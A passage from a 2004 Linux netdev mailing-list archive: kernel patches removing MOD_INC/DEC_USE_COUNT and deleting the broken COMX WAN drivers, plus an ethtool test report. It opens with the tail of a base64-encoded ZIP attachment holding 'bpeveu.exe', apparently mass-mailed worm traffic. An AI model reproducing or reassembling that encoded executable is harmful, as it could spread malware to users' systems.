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 AAA8qAUAAAA= ----------wxljducfvyrdmlqsnbry-- From hch@lst.de Fri May 7 03:43:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 03:43:19 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47AhDKO000376 for ; Fri, 7 May 2004 03:43:14 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i47AhBQc010892 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 7 May 2004 12:43:11 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i47AhBFq010890; Fri, 7 May 2004 12:43:11 +0200 Date: Fri, 7 May 2004 12:43:11 +0200 From: Christoph Hellwig To: jgarzik@pobox.com Cc: netdev@oss.sgi.com Subject: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT Message-ID: <20040507104311.GA10873@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-archive-position: 5039 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev *grr* - this one slipped in after my last round of audits it seems. --- 1.15/drivers/net/gt96100eth.c Mon Apr 5 22:31:23 2004 +++ edited/drivers/net/gt96100eth.c Mon May 3 13:22:22 2004 @@ -1070,22 +1070,18 @@ { int retval; - MOD_INC_USE_COUNT; - dbg(2, "%s: dev=%p\n", __FUNCTION__, dev); // Initialize and startup the GT-96100 ethernet port if ((retval = gt96100_init(dev))) { err("error in gt96100_init\n"); free_irq(dev->irq, dev); - MOD_DEC_USE_COUNT; return retval; } if ((retval = request_irq(dev->irq, >96100_interrupt, SA_SHIRQ, dev->name, dev))) { err("unable to get IRQ %d\n", dev->irq); - MOD_DEC_USE_COUNT; return retval; } @@ -1106,8 +1102,6 @@ } free_irq(dev->irq, dev); - - MOD_DEC_USE_COUNT; return 0; } From pp@ee.oulu.fi Fri May 7 04:12:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 04:14:21 -0700 (PDT) Received: from ee.oulu.fi (ee.oulu.fi [130.231.61.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47BChKO001424 for ; Fri, 7 May 2004 04:12:44 -0700 Received: from tk28.oulu.fi (tk28 [130.231.48.68]) by ee.oulu.fi (8.12.10/8.12.10) with ESMTP id i47BCbRp006425; Fri, 7 May 2004 14:12:37 +0300 (EEST) Received: (from pp@localhost) by tk28.oulu.fi (8.12.11/8.12.11/Submit) id i47BCalo029880; Fri, 7 May 2004 14:12:36 +0300 (EEST) Date: Fri, 7 May 2004 14:12:36 +0300 From: Pekka Pietikainen To: Jeff Garzik Cc: Netdev , Linux Kernel , Arjan van de Ven , Pekka Pietikainen , Pavel Machek , Andrew Morton Subject: Re: [PATCH] b44 ethtool_ops Message-ID: <20040507111236.GA29330@ee.oulu.fi> References: <4097FADB.4090105@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <4097FADB.4090105@pobox.com> User-Agent: Mutt/1.4.2i X-archive-position: 5040 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pp@ee.oulu.fi Precedence: bulk X-list: netdev On Tue, May 04, 2004 at 04:19:39PM -0400, Jeff Garzik wrote: > Testing requested. > > Should see no ethtool behavior change, positive or negative. Well, driver still works, advertised link modes does look a bit odd though (ethtool-1.8-3.1) Settings for eth1: Supported ports: [ MII ] Supported link modes: 10baseT/Half 10baseT/Full 100baseT/Half 100baseT/Full Supports auto-negotiation: Yes Advertised link modes: 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: Twisted Pair PHYAD: 1 Transceiver: internal Auto-negotiation: on Current message level: 0x000000ff (255) Link detected: yes From hch@lst.de Fri May 7 04:17:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 04:17:32 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47BHRKO001863 for ; Fri, 7 May 2004 04:17:28 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i47BHQQc011603 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 7 May 2004 13:17:26 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i47BHPIr011601 for netdev@oss.sgi.com; Fri, 7 May 2004 13:17:25 +0200 Date: Fri, 7 May 2004 13:17:25 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] remove comx drivers from tree Message-ID: <20040507111725.GA11575@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Scanned-By: MIMEDefang 2.39 X-MIME-Autoconverted: from 8bit to quoted-printable by mail.lst.de id i47BHQQc011603 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i47BHRKO001863 X-archive-position: 5041 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev the drivers have been broken since pre-2.4.0, like referencing a symbol that was made procfs-internal in 2.3.x, haven't received maintainer updates for about the same period and MOD_{INC,DEC}_USE_COUNT usage that pretty much unfixable (inside warts of _horrible_ procfs abuse). I'd say just kill them. --- 1.21/drivers/net/wan/Kconfig Thu Feb 19 04:42:35 2004 +++ edited/drivers/net/wan/Kconfig Fri May 7 13:06:20 2004 @@ -57,119 +57,6 @@ The driver will be compiled as a module: the module will be called cosa. -# -# COMX drivers -# -# Not updated to 2.6. -config COMX - tristate "MultiGate (COMX) synchronous serial boards support" - depends on WAN && (ISA || PCI) && BROKEN - ---help--- - Drivers for the PC synchronous serial adapters by - ITConsult-Pro Co, Hungary. - - Read for help on configuring - and using COMX interfaces. Further info on these cards can be found - at or . - - Say Y if you want to use any board from the MultiGate (COMX) - family, you must also say Y to "/proc file system support" - (CONFIG_PROC_FS) in order to use these drivers. - - To compile this driver as a module, choose M here: the - module will be called comx. - -config COMX_HW_COMX - tristate "Support for COMX/CMX/HiCOMX boards" - depends on COMX - help - Driver for the 'CMX', 'COMX' and 'HiCOMX' boards. - - You will need additional firmware to use these cards, which are - downloadable from . - - Say Y if you have a board like this. - - To compile this driver as a module, choose M here: the - module will be called comx-hw-comx. - -config COMX_HW_LOCOMX - tristate "Support for LoCOMX board" - depends on COMX - help - Driver for the 'LoCOMX' board. - - Say Y if you have a board like this. - - To compile this driver as a module, choose M here: the - module will be called comx-hw-locomx. - -config COMX_HW_MIXCOM - tristate "Support for MixCOM board" - depends on COMX - ---help--- - Driver for the 'MixCOM' board. - - If you want to use the watchdog device on this card, you should - select it in the Watchdog Cards section of the Character Devices - configuration. The ISDN interface of this card is Teles 16.3 - compatible, you should enable it in the ISDN configuration menu. The - driver for the flash ROM of this card is available separately on - . - - Say Y if you have a board like this. - - To compile this driver as a module, choose M here: the - module will be called comx-hw-mixcom. - -config COMX_HW_MUNICH - tristate "Support for MUNICH based boards: SliceCOM, PCICOM (WelCOM)" - depends on COMX - ---help--- - Driver for the 'SliceCOM' (channelized E1) and 'PciCOM' (X21) boards. - - Read for help on - configuring and using SliceCOM interfaces. Further info on these - cards can be found at or . - - Say Y if you have a board like this. - - To compile this driver as a module, choose M here: the - module will be called comx-hw-munich. - -config COMX_PROTO_PPP - tristate "Support for HDLC and syncPPP protocols on MultiGate boards" - depends on COMX - help - Cisco-HDLC and synchronous PPP protocol driver. - - Say Y if you want to use either protocol. - - To compile this as a module, choose M here: the - module will be called comx-proto-ppp. - -config COMX_PROTO_LAPB - tristate "Support for LAPB protocol on MultiGate boards" - depends on WAN && (COMX!=n && LAPB=m && LAPB || LAPB=y && COMX) - help - LAPB protocol driver. - - Say Y if you want to use this protocol. - - To compile this as a module, choose M here: the - module will be called comx-proto-lapb. - -config COMX_PROTO_FR - tristate "Support for Frame Relay on MultiGate boards" - depends on COMX - help - Frame Relay protocol driver. - - Say Y if you want to use this protocol. - - To compile this as a module, choose M here: the - module will be called comx-proto-fr. - config DSCC4 tristate "Etinc PCISYNC serial board support" depends on WAN && PCI && m ===== drivers/net/wan/Makefile 1.18 vs edited ===== --- 1.18/drivers/net/wan/Makefile Sat Jan 10 17:14:26 2004 +++ edited/drivers/net/wan/Makefile Fri May 7 13:06:05 2004 @@ -32,14 +32,6 @@ obj-$(CONFIG_HOSTESS_SV11) += z85230.o syncppp.o hostess_sv11.o obj-$(CONFIG_SEALEVEL_4021) += z85230.o syncppp.o sealevel.o -obj-$(CONFIG_COMX) += comx.o -obj-$(CONFIG_COMX_HW_COMX) += comx-hw-comx.o -obj-$(CONFIG_COMX_HW_LOCOMX) += z85230.o syncppp.o comx-hw-locomx.o -obj-$(CONFIG_COMX_HW_MIXCOM) += comx-hw-mixcom.o -obj-$(CONFIG_COMX_HW_MUNICH) += comx-hw-munich.o -obj-$(CONFIG_COMX_PROTO_PPP) += syncppp.o comx-proto-ppp.o -obj-$(CONFIG_COMX_PROTO_LAPB) += comx-proto-lapb.o -obj-$(CONFIG_COMX_PROTO_FR) += comx-proto-fr.o obj-$(CONFIG_COSA) += syncppp.o cosa.o obj-$(CONFIG_FARSYNC) += syncppp.o farsync.o obj-$(CONFIG_DSCC4) += dscc4.o ===== drivers/net/wan/comx-hw-comx.c 1.13 vs edited ===== --- 1.13/drivers/net/wan/comx-hw-comx.c Thu Sep 11 19:40:53 2003 +++ edited/drivers/net/wan/comx-hw-comx.c Fri May 7 13:05:52 2004 @@ -1,1450 +1 @@ -/* - * Hardware-level driver for the COMX and HICOMX cards - * for Linux kernel 2.2.X - * - * Original authors: Arpad Bakay , - * Peter Bajan , - * Rewritten by: Tivadar Szemethy - * Currently maintained by: Gergely Madarasz - * - * Copyright (C) 1995-2000 ITConsult-Pro Co. - * - * Contributors: - * Arnaldo Carvalho de Melo - 0.86 - * Daniele Bellucci - 0.87 - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version - * 2 of the License, or (at your option) any later version. - * - * Version 0.80 (99/06/11): - * - port back to kernel, add support builtin driver - * - cleaned up the source code a bit - * - * Version 0.81 (99/06/22): - * - cleaned up the board load functions, no more long reset - * timeouts - * - lower modem lines on close - * - some interrupt handling fixes - * - * Version 0.82 (99/08/24): - * - fix multiple board support - * - * Version 0.83 (99/11/30): - * - interrupt handling and locking fixes during initalization - * - really fix multiple board support - * - * Version 0.84 (99/12/02): - * - some workarounds for problematic hardware/firmware - * - * Version 0.85 (00/01/14): - * - some additional workarounds :/ - * - printk cleanups - * Version 0.86 (00/08/15): - * - resource release on failure at COMX_init - * - * Version 0.87 (03/07/09) - * - audit copy_from_user in comxhw_write_proc - */ -#define VERSION "0.87" - -#include -#include -#include -#include -#include -#include -#include - -#include -#include - -#include "comx.h" -#include "comxhw.h" - -MODULE_AUTHOR("Gergely Madarasz , Tivadar Szemethy , Arpad Bakay"); -MODULE_DESCRIPTION("Hardware-level driver for the COMX and HICOMX adapters\n"); -MODULE_LICENSE("GPL"); - -#define COMX_readw(dev, offset) (readw(dev->mem_start + offset + \ - (unsigned int)(((struct comx_privdata *)\ - ((struct comx_channel *)dev->priv)->HW_privdata)->channel) \ - * COMX_CHANNEL_OFFSET)) - -#define COMX_WRITE(dev, offset, value) (writew(value, dev->mem_start + offset \ - + (unsigned int)(((struct comx_privdata *) \ - ((struct comx_channel *)dev->priv)->HW_privdata)->channel) \ - * COMX_CHANNEL_OFFSET)) - -#define COMX_CMD(dev, cmd) (COMX_WRITE(dev, OFF_A_L2_CMD, cmd)) - -struct comx_firmware { - int len; - unsigned char *data; -}; - -struct comx_privdata { - struct comx_firmware *firmware; - u16 clock; - char channel; // channel no. - int memory_size; - short io_extent; - u_long histogram[5]; -}; - -static struct net_device *memory_used[(COMX_MEM_MAX - COMX_MEM_MIN) / 0x10000]; -extern struct comx_hardware hicomx_hw; -extern struct comx_hardware comx_hw; -extern struct comx_hardware cmx_hw; - -static irqreturn_t COMX_interrupt(int irq, void *dev_id, struct pt_regs *regs); - -static void COMX_board_on(struct net_device *dev) -{ - outb_p( (byte) (((dev->mem_start & 0xf0000) >> 16) | - COMX_ENABLE_BOARD_IT | COMX_ENABLE_BOARD_MEM), dev->base_addr); -} - -static void COMX_board_off(struct net_device *dev) -{ - outb_p( (byte) (((dev->mem_start & 0xf0000) >> 16) | - COMX_ENABLE_BOARD_IT), dev->base_addr); -} - -static void HICOMX_board_on(struct net_device *dev) -{ - outb_p( (byte) (((dev->mem_start & 0xf0000) >> 12) | - HICOMX_ENABLE_BOARD_MEM), dev->base_addr); -} - -static void HICOMX_board_off(struct net_device *dev) -{ - outb_p( (byte) (((dev->mem_start & 0xf0000) >> 12) | - HICOMX_DISABLE_BOARD_MEM), dev->base_addr); -} - -static void COMX_set_clock(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - - COMX_WRITE(dev, OFF_A_L1_CLKINI, hw->clock); -} - -static struct net_device *COMX_access_board(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - struct net_device *ret; - int mempos = (dev->mem_start - COMX_MEM_MIN) >> 16; - unsigned long flags; - - - save_flags(flags); cli(); - - ret = memory_used[mempos]; - - if(ret == dev) { - goto out; - } - - memory_used[mempos] = dev; - - if (!ch->twin || ret != ch->twin) { - if (ret) ((struct comx_channel *)ret->priv)->HW_board_off(ret); - ch->HW_board_on(dev); - } -out: - restore_flags(flags); - return ret; -} - -static void COMX_release_board(struct net_device *dev, struct net_device *savep) -{ - unsigned long flags; - int mempos = (dev->mem_start - COMX_MEM_MIN) >> 16; - struct comx_channel *ch = dev->priv; - - save_flags(flags); cli(); - - if (memory_used[mempos] == savep) { - goto out; - } - - memory_used[mempos] = savep; - if (!ch->twin || ch->twin != savep) { - ch->HW_board_off(dev); - if (savep) ((struct comx_channel*)savep->priv)->HW_board_on(savep); - } -out: - restore_flags(flags); -} - -static int COMX_txe(struct net_device *dev) -{ - struct net_device *savep; - struct comx_channel *ch = dev->priv; - int rc = 0; - - savep = ch->HW_access_board(dev); - if (COMX_readw(dev,OFF_A_L2_LINKUP) == LINKUP_READY) { - rc = COMX_readw(dev,OFF_A_L2_TxEMPTY); - } - ch->HW_release_board(dev,savep); - if(rc==0xffff) { - printk(KERN_ERR "%s, OFF_A_L2_TxEMPTY is %d\n",dev->name, rc); - } - return rc; -} - -static int COMX_send_packet(struct net_device *dev, struct sk_buff *skb) -{ - struct net_device *savep; - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - int ret = FRAME_DROPPED; - word tmp; - - savep = ch->HW_access_board(dev); - - if (ch->debug_flags & DEBUG_HW_TX) { - comx_debug_bytes(dev, skb->data, skb->len,"COMX_send packet"); - } - - if (skb->len > COMX_MAX_TX_SIZE) { - ret=FRAME_DROPPED; - goto out; - } - - tmp=COMX_readw(dev, OFF_A_L2_TxEMPTY); - if ((ch->line_status & LINE_UP) && tmp==1) { - int lensave = skb->len; - int dest = COMX_readw(dev, OFF_A_L2_TxBUFP); - word *data = (word *)skb->data; - - if(dest==0xffff) { - printk(KERN_ERR "%s: OFF_A_L2_TxBUFP is %d\n", dev->name, dest); - ret=FRAME_DROPPED; - goto out; - } - - writew((unsigned short)skb->len, dev->mem_start + dest); - dest += 2; - while (skb->len > 1) { - writew(*data++, dev->mem_start + dest); - dest += 2; skb->len -= 2; - } - if (skb->len == 1) { - writew(*((byte *)data), dev->mem_start + dest); - } - writew(0, dev->mem_start + (int)hw->channel * - COMX_CHANNEL_OFFSET + OFF_A_L2_TxEMPTY); - ch->stats.tx_packets++; - ch->stats.tx_bytes += lensave; - ret = FRAME_ACCEPTED; - } else { - ch->stats.tx_dropped++; - printk(KERN_INFO "%s: frame dropped\n",dev->name); - if(tmp) { - printk(KERN_ERR "%s: OFF_A_L2_TxEMPTY is %d\n",dev->name,tmp); - } - } - -out: - ch->HW_release_board(dev, savep); - dev_kfree_skb(skb); - return ret; -} - -static inline int comx_read_buffer(struct net_device *dev) -{ - struct comx_channel *ch = dev->priv; - word rbuf_offs; - struct sk_buff *skb; - word len; - int i=0; - word *writeptr; - - i = 0; - rbuf_offs = COMX_readw(dev, OFF_A_L2_RxBUFP); - if(rbuf_offs == 0xffff) { - printk(KERN_ERR "%s: OFF_A_L2_RxBUFP is %d\n",dev->name,rbuf_offs); - return 0; - } - len = readw(dev->mem_start + rbuf_offs); - if(len > COMX_MAX_RX_SIZE) { - printk(KERN_ERR "%s: packet length is %d\n",dev->name,len); - return 0; - } - if ((skb = dev_alloc_skb(len + 16)) == NULL) { - ch->stats.rx_dropped++; - COMX_WRITE(dev, OFF_A_L2_DAV, 0); - return 0; - } - rbuf_offs += 2; - skb_reserve(skb, 16); - skb_put(skb, len); - skb->dev = dev; - writeptr = (word *)skb->data; - while (i < len) { - *writeptr++ = readw(dev->mem_start + rbuf_offs); - rbuf_offs += 2; - i += 2; - } - COMX_WRITE(dev, OFF_A_L2_DAV, 0); - ch->stats.rx_packets++; - ch->stats.rx_bytes += len; - if (ch->debug_flags & DEBUG_HW_RX) { - comx_debug_skb(dev, skb, "COMX_interrupt receiving"); - } - ch->LINE_rx(dev, skb); - return 1; -} - -static inline char comx_line_change(struct net_device *dev, char linestat) -{ - struct comx_channel *ch=dev->priv; - char idle=1; - - - if (linestat & LINE_UP) { /* Vonal fol */ - if (ch->lineup_delay) { - if (!test_and_set_bit(0, &ch->lineup_pending)) { - ch->lineup_timer.function = comx_lineup_func; - ch->lineup_timer.data = (unsigned long)dev; - ch->lineup_timer.expires = jiffies + - HZ*ch->lineup_delay; - add_timer(&ch->lineup_timer); - idle=0; - } - } else { - idle=0; - ch->LINE_status(dev, ch->line_status |= LINE_UP); - } - } else { /* Vonal le */ - idle=0; - if (test_and_clear_bit(0, &ch->lineup_pending)) { - del_timer(&ch->lineup_timer); - } else { - ch->line_status &= ~LINE_UP; - if (ch->LINE_status) { - ch->LINE_status(dev, ch->line_status); - } - } - } - return idle; -} - - - -static irqreturn_t COMX_interrupt(int irq, void *dev_id, struct pt_regs *regs) -{ - struct net_device *dev = dev_id; - struct comx_channel *ch = dev->priv; - struct comx_privdata *hw = ch->HW_privdata; - struct net_device *interrupted; - unsigned long jiffs; - char idle = 0; - int count = 0; - word tmp; - - if (dev == NULL) { - 